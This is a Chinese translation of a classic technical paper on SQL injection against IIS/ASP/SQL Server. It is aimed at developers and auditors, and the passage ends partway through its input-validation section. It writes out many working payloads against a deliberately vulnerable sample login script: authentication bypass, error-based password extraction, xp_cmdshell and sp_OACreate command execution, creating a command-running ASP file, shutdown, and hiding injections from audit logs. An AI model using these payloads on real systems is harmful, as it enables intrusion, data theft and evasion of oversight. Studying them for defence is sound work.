[概 要]
這篇文章討論常用的"sql注入"技術(shù)的細(xì)節(jié),應(yīng)用于流行的Ms IIS/ASP/SQL-Server平臺。這里探討有關(guān)這種攻擊各種可以注入程序訪問數(shù)據(jù)和數(shù)據(jù)庫防范的方法。這篇文章面向兩種讀者:一是基于數(shù)據(jù)庫web程序開發(fā)人員和審核各種web程序的安全專家。
[介 紹]
結(jié)構(gòu)化查詢語言(SQL)是一種用來和數(shù)據(jù)庫交互的文本語言SQL語言多種多樣,大多的方言版本都共同寬松地遵循SQL-92標(biāo)準(zhǔn)(最新的ANSI標(biāo)準(zhǔn)[譯者注:目前最新的是SQL-99])。SQL運(yùn)行的典型的操作是“查詢”,它是可以讓數(shù)據(jù)庫返回“查詢結(jié)果記錄集”的語句集合。SQL語句可以修改數(shù)據(jù)庫的結(jié)構(gòu)(用數(shù)據(jù)定義語言"DDL")和操作數(shù)據(jù)庫里的數(shù)據(jù)(用數(shù)據(jù)操作語言"DML")。我們在這里著重討論Transact-SQL(交互式SQL),應(yīng)用于SQL-Server的SQL一種方言(非標(biāo)準(zhǔn)SQL)。如果攻擊者可以插一系列的SQL語句進(jìn)入應(yīng)用程序的數(shù)據(jù)查詢時,Sql注入攻擊就可能發(fā)生。
一個典型的SQL語句是這樣的:
select id, forename, surname from authors
這個查詢語句將會從'authors'表中返回'id','forename'和'surname'列的所有行。返回的結(jié)果集也可以加以特定條件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意這里很重要的一點(diǎn)是'john'和'smith'是被單引號引住的,假設(shè)'forename'和'surname'字段是來自于用戶的輸入,攻擊者就可能通過輸入非法字符串來對這個查詢進(jìn)行SQL注入:
Forename:jo'hn
Surname: smith
查詢語句就會變成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當(dāng)數(shù)據(jù)庫試圖執(zhí)行這個查詢,它會返回這樣的錯誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
這是因為插入的單引號破壞了原來單引號引住的數(shù)據(jù),數(shù)據(jù)庫執(zhí)行到'hn'時失敗。如果攻擊者這樣輸入:
Forename: jo'; drop table authors--
Surname:
...authors表就會被刪掉,原因過一會再解釋。
似乎通過刪除用戶輸入的字符串中的單引號或者通過一些方法避免它們出現(xiàn)可以解決這個問題。誠然如此,但是要實(shí)施這個解決方法還有很多的困難。因為首先:不是所有的用戶提交的數(shù)據(jù)都是字符串形式,比如我們的用戶輸入通過'id'(看上去是個數(shù)字)來選擇一個用戶,我們的查詢可能會這樣:
select id,forename,surname from authors where id=1234
在這種情況下攻擊者可以輕易的在數(shù)值輸入后面添加SQL語句。在其他SQL方言中,使用著各種分隔符,比如MS Jet DBMS引擎,日期可以用'#'符號來分隔。
其次,避免單引號并不像開始我們想象的那樣是必要的解決辦法,原因下面討論。
我們將以Active Server Pages(ASP)登陸頁面為例子來詳細(xì)說明,它訪問一個Sql-Server數(shù)據(jù)庫并且驗證一個到我們假想的程序的訪問。
這是用戶填寫用戶名和密碼的表單頁面:
復(fù)制代碼 代碼如下:
HTML>
HEAD>
TITLE>Login Page/TITLE>
/HEAD>
BODY bgcolor='000000' text='cccccc'>
FONT Face='tahoma' color='cccccc'>
CENTER>H1>Login/H1>
FORM action='process_login.asp' method=post>
TABLE>
TR>TD>Username:/TD>TD>INPUT type=text name=username size=100%width=100>/INPUT>/TD>/TR>
TR>TD>Password:/TD>TD>INPUT type=password name=password size=100%
width=100>/INPUT>/TD>/TR>
/TABLE>
INPUT type=submit value='Submit'> INPUT type=reset value='Reset'>
/FORM>
/FONT>
/BODY>
/HTML>
這是'process_login.asp'的代碼, 它處理用戶登陸:
復(fù)制代碼 代碼如下:
HTML>
BODY bgcolor='000000' text='ffffff'>
FONT Face='tahoma' color='ffffff'>
STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
/STYLE>
%@LANGUAGE = JScript %>
%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>FONT Face='tahoma' color='cc0000'>
H1>
BR>BR>
CENTER>ACCESS DENIED/CENTER>
/H1>
/BODY>
/HTML>
%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
FONT Face='tahoma' color='00cc00'>
H1>
CENTER>ACCESS GRANTEDBR>
BR>
Welcome,
% Response.write(rso("Username"));
Response.write( "/BODY>/HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
這里討論的是'process_login.asp'中的創(chuàng)建'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用戶指定了下面這樣的數(shù)據(jù):
Username: '; drop table users--
Password:
'users'表會被刪除,所有用戶都不能登陸。'--'是Transact-SQL(交互式SQL)的單行注釋符,';'標(biāo)志著一個查詢的結(jié)束另一個查詢的開始。用戶名最后的'--'用來使這個特殊的查詢無錯誤結(jié)束。
攻擊者只要知道用戶名,就可以通過以下的輸入以任何用戶的身份登陸:
Username: admin'--
攻擊者可以通過下面的輸入以用戶表里的第一個用戶來登陸:
Username: ' or 1=1--
...更有甚者,攻擊者通過以下的輸入可以以任意虛構(gòu)的用戶登陸:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因為程序相信攻擊者指定的常量是數(shù)據(jù)庫返回的記錄集的一部分。
[通過錯誤信息獲取信息]
這個技術(shù)是David Litchfield在一次滲透入侵測試中首先發(fā)現(xiàn)的,后來david寫了篇關(guān)于這個技術(shù)的文章,很多作者都參考過這篇作品。這里我們討論“錯誤消息”技術(shù)潛在的機(jī)制,使讀者可以充分理解它并且能靈活應(yīng)用。
為了操作數(shù)據(jù)庫里的數(shù)據(jù),攻擊者要確定某個數(shù)據(jù)庫的結(jié)構(gòu)。例如:我們的"user"表是用下面的語句建立的:
復(fù)制代碼 代碼如下:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
并且插入了下面的用戶:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我們假設(shè)攻擊者要為自己插入一個用戶,如果不知道表的結(jié)構(gòu)的話,他不可能成功。即使他運(yùn)氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序里添加了一個低權(quán)限的用戶,而他的目標(biāo)是管理員的權(quán)限。
對于攻擊者來說幸運(yùn)的是:如果程序返回錯誤(asp默認(rèn)如此),攻擊者可以猜測整個數(shù)據(jù)庫的結(jié)構(gòu),讀取ASP程序連接到SQL-Server的帳號權(quán)限內(nèi)可以讀取的任何值。
(下面給出的使用上面提供的示例數(shù)據(jù)庫和asp腳本來說明這些技術(shù)怎樣實(shí)現(xiàn)的)
首先,攻擊者要確定查詢的表名和字段名。要做到這點(diǎn),攻擊者可以使用'select'語句的'having'子句:
username: ' having 1=1 --
這會引起下面的錯誤(譯者注:having字句必須和GROUP BY或者聚合函數(shù)一起配合使用,否則出錯):
復(fù)制代碼 代碼如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
所以攻擊者就知道了表名和第一列的列名,他們可以通過給每列加上'group by'子句繼續(xù)得到其他列名,如下:
復(fù)制代碼 代碼如下:
username: ' group by users.id having 1=1 --
(結(jié)果產(chǎn)生這樣的錯誤)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最后攻擊者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
這句沒有錯誤,相當(dāng)于:
select * from users where username = ''
所以攻擊者知道了查詢只是關(guān)于'users'表的,并且順序使用了列'id,username,password,rpivs'。
如果攻擊者能確定各列的數(shù)據(jù)類型將會很有用,可以利用類型轉(zhuǎn)換錯誤信息來達(dá)到這一點(diǎn),看下面的例子:
Username: ' union select sum(username) from users--
這利用了SQL-Server試圖在確定兩行是否相同之前先執(zhí)行'sum'子句的特性,計算文本域的和會返回這樣的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告訴我們'username'字段的類型是'varchar'。相反的,如果我們試圖計算數(shù)值型的字段,但結(jié)果兩行的列數(shù)并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我們可以用這個技術(shù)來大概地確定數(shù)據(jù)庫內(nèi)各列的類型。
這樣攻擊者就可以寫出一個格式完美的'insert'語句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,這個技術(shù)的潛力不止這些。攻擊者可以利用任何錯誤信息來暴露系統(tǒng)環(huán)境或者數(shù)據(jù)庫信息。執(zhí)行下面的語句可以得到一個標(biāo)準(zhǔn)錯誤信息的清單:
select * from master..sysmessages
檢查這個清單可以發(fā)現(xiàn)很多有趣的信息。
一個特別有用的信息有關(guān)類型轉(zhuǎn)換,如果你試圖將一個字符串轉(zhuǎn)換成整型,整個字符串的內(nèi)容將會出現(xiàn)在錯誤信息里。以我們登陸頁的例子來說,使用下面的'username'將會返回SQL-Server的版本以及它所在服務(wù)器操作系統(tǒng)的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
這試圖將內(nèi)置常量'@@version'轉(zhuǎn)換成整型,因為'users'表第一列是整數(shù)。
這個技術(shù)可以用來讀取任何數(shù)據(jù)庫的任何表的任何內(nèi)容,如果攻擊者對用戶名和密碼感興趣,他們就可以從'users'表讀用戶名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'大的最小用戶名,而且試圖將它轉(zhuǎn)換成一個整數(shù):
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻擊者就知道'admin'帳號存在,他現(xiàn)在可以把他發(fā)現(xiàn)的用戶名放進(jìn)'where'子句來反復(fù)測試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以搜集密碼;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個更“別致”的技術(shù)是將用戶名和密碼連接成一個單獨(dú)的字符傳,然后試圖將它轉(zhuǎn)換成整型。這將舉另一種例子;Transact-SQL語句可以將字符串連接成一行而不改變他們的意義,下面的腳本將連接這些值:
復(fù)制代碼 代碼如下:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻擊者用這個'username'登陸(明顯都在同一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
這創(chuàng)建了一個只包含單列'ret'的表'foo',而且把我們的字符串放在里面。通常一個低權(quán)限的用戶可以在示例數(shù)據(jù)庫里創(chuàng)建表,或者一個臨時表。
之后攻擊者選擇查詢表里的字符串,就像前面說的:
復(fù)制代碼 代碼如下:
Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后刪除這個表:
Username: '; drop table foo--
這些例子僅僅揭開了這項技術(shù)的神秘面紗,不用說,如果攻擊者可以從數(shù)據(jù)庫獲得豐富的錯誤信息,他們的工作將大大的簡化。
[更深入的訪問]
一旦攻擊者可以控制數(shù)據(jù)庫,他們可能想通過這些權(quán)限來獲得對網(wǎng)絡(luò)更多的控制,可以通過很多方法來達(dá)到這一目的:
1.利用xp_cmdshell擴(kuò)展存儲以SQL-Server用戶的身份在數(shù)據(jù)庫服務(wù)器上執(zhí)行命令
2.利用xp_regread擴(kuò)展存儲讀取注冊表的鍵值,也包括SAM(只要SQL-Server是以一個本地帳號運(yùn)行的)
3.用其他的擴(kuò)展存儲改變服務(wù)器設(shè)置
4.在聯(lián)合服務(wù)器上執(zhí)行查詢
5.創(chuàng)建客戶擴(kuò)展存儲從而在SQL-Server進(jìn)程內(nèi)運(yùn)行exploit
6.用'bulk insert'語句去讀服務(wù)器上任何文件
7.用bcp在服務(wù)器上創(chuàng)建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統(tǒng)存儲過程來創(chuàng)建ActiveX對象來完成asp腳本可以做的任何事情
這些只是常見的攻擊方法的一部分;攻擊者也很可能通過其他方法來達(dá)到目的,我們列舉這些SQL-Server相關(guān)的攻擊方法是為了說明如果程序可以被注入SQL語句時可能會發(fā)生什么,我們將依次給出以上各種情況的對策。
[xp_cmdshell]
擴(kuò)展存儲的本質(zhì)是編譯了的動態(tài)鏈接庫(DLLs),它用SQL-Server指定的調(diào)用方式去運(yùn)行接口函數(shù)。他們允許SQL-Server程序擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內(nèi)置了大量的擴(kuò)展存儲,而且有各種各樣的函數(shù)比如發(fā)送郵件和更改注冊表。
xp_cmdshell是一個內(nèi)置的擴(kuò)展存儲,它允許執(zhí)行任意的命令行程序。例如:
exec master..xp_cmdshell 'dir'
將會獲得一個SQL-Server進(jìn)程所在工作目錄的列表
exec master..xp_cmdshell 'net1 user'
將提供主機(jī)用戶的列表。如果SQL Server正常的以本地'system'帳號或者'domain user'帳號運(yùn)行,攻擊者可以造成更嚴(yán)重破壞。
[xp_regread]
另外一個有用的內(nèi)置的擴(kuò)展存儲是xp_regXXX函數(shù)
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
其中一些函數(shù)的用法的舉例:
exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(它決定服務(wù)器的空連接式共享是否可用)
exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
(它顯示所有的服務(wù)器上SNMP公共的設(shè)置,通過這個信息,攻擊者可以在相同的網(wǎng)絡(luò)區(qū)域里重新配置網(wǎng)絡(luò)設(shè)置,因為SNMP共有設(shè)置很少被改變而且由很多主機(jī)共享)
可以想象攻擊者怎樣利用這些函數(shù)來讀取SAM文件,改變系統(tǒng)設(shè)置在重新啟動后就被服務(wù)的應(yīng)用,或者在用戶下一次登陸時運(yùn)行任意命令。
[其他擴(kuò)展存儲]
xp_servicecontrol擴(kuò)展存儲允許用戶啟動,停止,暫?;蛘哌\(yùn)行服務(wù)。
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
下面是一些其他有用的擴(kuò)展存儲表:
xp_availablemedia 顯示機(jī)器上可用的驅(qū)動器
xp_dirtree 獲得一個目錄樹
xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
xp_loginconfig 顯示服務(wù)器的安全狀態(tài)信息
xp_makecab 允許用戶在服務(wù)器上創(chuàng)建壓縮文件(或者任何服務(wù)器可以訪問的文件)
xp_ntsec_enumdomains 列舉服務(wù)器可以訪問的域
xp_terminate_process 結(jié)束一個給定PID進(jìn)程
[聯(lián)合服務(wù)器]
SQL-Server提供了一個服務(wù)器聯(lián)合的機(jī)制,就是允許一個數(shù)據(jù)庫服務(wù)器上的查詢操作其他服務(wù)器的數(shù)據(jù)。這些聯(lián)合設(shè)置存放在master..sysservers表里,如果一個相連的服務(wù)器使用了'sp_addlinkedsrvlogin'存儲過程,一個自動的登陸了的連接已經(jīng)存在,可以通過它不登陸而訪問該服務(wù)器。'openquery'函數(shù)允許查詢在聯(lián)合服務(wù)器上執(zhí)行。
[用戶自定義擴(kuò)展存儲]
擴(kuò)展存儲的API是相當(dāng)簡單的,創(chuàng)建一個帶有惡意代碼的擴(kuò)展存儲DLL也是相當(dāng)容易的。通過命令行有很多方法將DLL上傳到服務(wù)器,還有其他的很多方法包括各種通信機(jī)制來自動實(shí)現(xiàn),比如HTTP下載和FTP腳本。
一旦DLL文件出現(xiàn)在服務(wù)器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴(kuò)展存儲(這里,我們的惡意擴(kuò)展存儲是個用來操作服務(wù)器的文件系統(tǒng)小的木馬)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴(kuò)展存儲就可以通過一般的方法調(diào)用:
exec xp_webserver
一旦這個擴(kuò)展存儲執(zhí)行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'
[向表中導(dǎo)入文本文件]
利用'bulk insert'語句,可以把一個文本文件的內(nèi)容插入進(jìn)一張臨時表,我們簡單的創(chuàng)建一個表:
create table foo( line varchar(8000) )
然后執(zhí)行bulk insert來插入數(shù)據(jù)來自于一個文件:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
通過上面介紹過的錯誤信息技巧就可以得到數(shù)據(jù),或者通過一個'union'查詢,把文本數(shù)據(jù)作為查詢的數(shù)據(jù)返回。這對于獲得存儲在數(shù)據(jù)庫里的腳本如asp腳本很有用。
[利用BCP創(chuàng)建文本文件]
利用和'bulk insert'作用相反的技術(shù)創(chuàng)建任意的文本文件非常簡單。不過需要一個命令行工具'bcp'('bulk copy program'),因為bcp在SQL-Server進(jìn)程外訪問數(shù)據(jù)庫,它需要一次登陸。但是這不難,因為攻擊者都可以創(chuàng)建一個;或者如果服務(wù)器配置使用了“完整性”安全模式,攻擊者可以利用它。
命令行格式如下:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
'S'參數(shù)是要運(yùn)行查詢的服務(wù)器,'U'參數(shù)是用戶名,'P'是密碼,這里的密碼是'foobar'。
[SQL-Server 里的ActiveX自動腳本]
SQL-Server提供了一些內(nèi)置的擴(kuò)展存儲,允許在SQL-Server內(nèi)創(chuàng)建ActiveX自動腳本。這些腳本在功能上和windows scripting host上運(yùn)行的腳本或者asp腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創(chuàng)建自動對象并且通過他們產(chǎn)生作用。一個用Transact-SQL寫的自動腳本可以做任何asp腳本或者WSH腳本能做的事。
下面提供一些例子來說明:
1)這個例子用'wscript.shell'對象創(chuàng)建一個notepad的實(shí)例(當(dāng)然這里也可以是任何命令行命令)
復(fù)制代碼 代碼如下:
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
在我們的例子里可以使用這樣的用戶名(都在一行):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:
復(fù)制代碼 代碼如下:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3)下面的例子創(chuàng)建一個asp腳本執(zhí)行任意命令:
復(fù)制代碼 代碼如下:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '
需要注意的很重要的一點(diǎn)是Windows NT4,IIS4平臺asp腳本將會以'system'的帳號運(yùn)行,而在IIS5他們會以低權(quán)限的IWAM_xxx帳號運(yùn)行。
4)這個例子(稍帶欺騙性)說明這項技術(shù)的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)對象,使SQL Server說話:
復(fù)制代碼 代碼如下:
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
這當(dāng)然也可以在我們的例子里使用,通過指定下面的'username'(注意例子不只是注入一段腳本,同時也以'admin'的身份登陸了程序)
用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-
[存儲過程]
傳統(tǒng)的認(rèn)識是如果ASP程序使用了數(shù)據(jù)庫系統(tǒng)的存儲過程,那么就不可能SQL注入了。這句話不完全對,這依賴于ASP腳本調(diào)用存儲過程的方式。
本質(zhì)上,一個帶參數(shù)的查詢執(zhí)行了,用戶提供的參數(shù)就被安全的傳給查詢,SQL注入就不可能了。但是,如果攻擊者可以對無數(shù)據(jù)部分的查詢語句施加任何影響,他們?nèi)匀豢赡芸刂茢?shù)據(jù)庫。
一個有用的規(guī)則是:
1. 如果ASP腳本創(chuàng)建了一個提交給服務(wù)器的SQL查詢語句,這是很容易被SQL注入的,即使它使用了存儲過程。
2. 如果ASP腳本使用了封裝傳遞參數(shù)給存儲過程的過程對象(如ADO command對象,和參數(shù)集合一起使用的)那么它通常就很安全了,但是這還要取決于對象的執(zhí)行。
明顯的,最好習(xí)慣于驗證所有的用戶輸入,因為新的攻擊技術(shù)會不停的涌現(xiàn)。
為了說明存儲過程查詢的注入,運(yùn)行下面的SQL語句:
sp_who '1' select * from sysobjects
或者
sp_who '1' ; select * from sysobjects
任何附加語句在存儲過程執(zhí)行后還是可以執(zhí)行。
[高級Sql注入]
一個應(yīng)用程序通常過濾單引號,另一方面限制用戶的輸入,比如限制長度。
在這里,我們將討論一些繞過一些明顯的SQL注入防范的和長度限制的技巧。
[沒有符號的字符串]
有時候,開發(fā)人員可能已經(jīng)通過過濾單引號來保護(hù)應(yīng)用程序,比如用VBScript的'replace'函數(shù):
復(fù)制代碼 代碼如下:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
不可否認(rèn),這會阻止所有的對我們上面給出的對示例站點(diǎn)的攻擊,刪除';'字符也會起作用。但是,在一個大的程序里一些用戶輸入可能被假定為數(shù)值型。這些值沒有限制,提供了很多可以注入的地方。
如果攻擊者希望創(chuàng)建一個字符串值而不使用引號,他們可以用'char'函數(shù)。例如:
復(fù)制代碼 代碼如下:
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
它是一個往表里插入字符的不帶引號的查詢語句。
當(dāng)然,如果攻擊者使用一個數(shù)值型的用戶名和密碼的話,下面的語句也同樣可以很好的執(zhí)行:
insert into users values( 667,
123,
123,
0xffff)
因為SQL-Server自動將數(shù)值型的轉(zhuǎn)換成'varchar'類型,類型轉(zhuǎn)換是默認(rèn)的。
[SQL二次注入]
即使一個程序總是過濾單引號,攻擊者仍然可以先注入SQL作為數(shù)據(jù)存放在數(shù)據(jù)庫里然后被程序再次使用。
比如,一個攻擊者可能通過注冊,創(chuàng)建一個用戶名
Username: admin'--
Password: password
程序正確的過濾了單引號,'insert'語句如下:
insert into users values ( 123, 'admin''--', 'password', 0xffff)
我們假設(shè)程序允許用戶更改密碼,ASP腳本在設(shè)置新的密碼前先確認(rèn)用戶舊密碼正確。代碼可能這樣寫:
復(fù)制代碼 代碼如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
…
設(shè)置新密碼的查詢語句可能這樣寫的:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")是登陸的查詢返回的的用戶名。
用戶名為admin'--,上面的查詢就變成了這樣:
update users set password = 'password' where username = 'admin'--'
因此攻擊者可以通過注冊了一個名叫admin'--的用戶來把a(bǔ)dmin的密碼改成他們自己的。
這是個危險的問題,目前大部分的大型程序都試圖過濾數(shù)據(jù)。最好的解決方法是拒絕非法輸入,而不是簡單的改變它。這有時候會導(dǎo)致一些問題,非法字符在某些地方是必要的,比如在名字帶符號的情況:
O'Brien
從安全的角度,最好的解決辦法是不允許出現(xiàn)單引號。如果這樣不行,必須避免它們出現(xiàn),這種情況下,最好保證所有要進(jìn)入SQL語句的字符(包括從數(shù)據(jù)庫里取出的字符)都被正確的處理過。
即使這樣攻擊依然可能實(shí)現(xiàn):如果攻擊者可以不經(jīng)過程序而往系統(tǒng)插入數(shù)據(jù)。比如攻擊者有一個email接口,或者有一個可以控制的錯誤記錄數(shù)據(jù)庫。最好總是驗證所有的數(shù)據(jù),包括系統(tǒng)里的數(shù)據(jù),驗證函數(shù)調(diào)用很簡單,比如:
if ( not isValied( "email", request.querystring("emil") ) ) then
response.end
或者其他的方法
[長度限制]
有時候輸入對數(shù)據(jù)的長度加以限制會使攻擊困難許多,這的確阻止了一些攻擊,但一個很短的SQL語句也可能造成非常大的危害:
Username: ';shutdown--
關(guān)閉SQL-Server,只用了12個字符。另一個例子:
drop table
如果長度限制是在字符串過濾后,另一個問題可能會發(fā)生。假設(shè)用戶名被限制在16個字符之內(nèi),密碼也被限制在16個字符之內(nèi),下面的用戶名和密碼結(jié)合可以執(zhí)行'shutdown'命令:
Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--
原因是程序過濾用戶名最后的單引號,但是字符串又被切回到16個字符,刪除了過濾的單引號。結(jié)果是密碼域可以包含一些SQL, 只要它以一個單引號開始,最后的查詢會變成這樣:
select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--
用戶名在查詢里就變成:
aaaaaaaaaaaaaaa' and password='
后面附上的SQL被執(zhí)行。
[躲避審核]
SQL Server在sp_traceXXX系列的函數(shù)包含豐富審核接口,它可以記錄任何數(shù)據(jù)庫里的事件。這里我們特別感興趣的是T-SQL事件,它記錄了所有的SQL語句以及服務(wù)器上準(zhǔn)備好的和已運(yùn)行了的批處理。如果這個級別的審核開啟的話,所有我們討論的注入都將被記錄下來有經(jīng)驗的數(shù)據(jù)庫管理員將會看到所有發(fā)生的事情。但是如果攻擊者附加下面的字符:
sp_password
到一個Transact-SQL語句,這個審核記錄如下:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
這在所有的的T-SQL日志記錄時都會發(fā)生,即使'sp_password'出現(xiàn)在注釋中。這當(dāng)然是在用戶傳遞sp_password時有意隱藏用戶的明文密碼,但這對攻擊者相當(dāng)有用。
所以,為了隱藏所有的注入攻擊者只需要在注釋符'--'后面加一個字符串:
Username: admin'--sp_password
事實(shí)上一些執(zhí)行了的SQL將被記錄,但是查詢字符串本身被強(qiáng)制不記錄。
[防 范]
這部分討論一些針對這些攻擊的防范措施。輸入驗證已經(jīng)討論過了,一些代碼也給出了,后面我們研究SQL-Server防范問題。
[輸入驗證]
輸入驗證是一個很復(fù)雜的問題。一般在一個開發(fā)項目中它很少被注意,因為過度的驗證往往使一個程序的某部分被打斷,所以輸入驗證是個難題。輸入驗證往往不加到程序的功能里,因而在工期將至而趕程序時不會被人注意。
下面是關(guān)于驗證的簡單的討論附示例代碼,這個示例代碼當(dāng)然不能直接用在程序里,但可以很好的說明不同的策略。
各種數(shù)據(jù)驗證的途徑可以分類為以下幾種:
1)整理數(shù)據(jù)使之變得有效
2)拒絕已知的非法輸入
3)只接受已知的合法的輸入
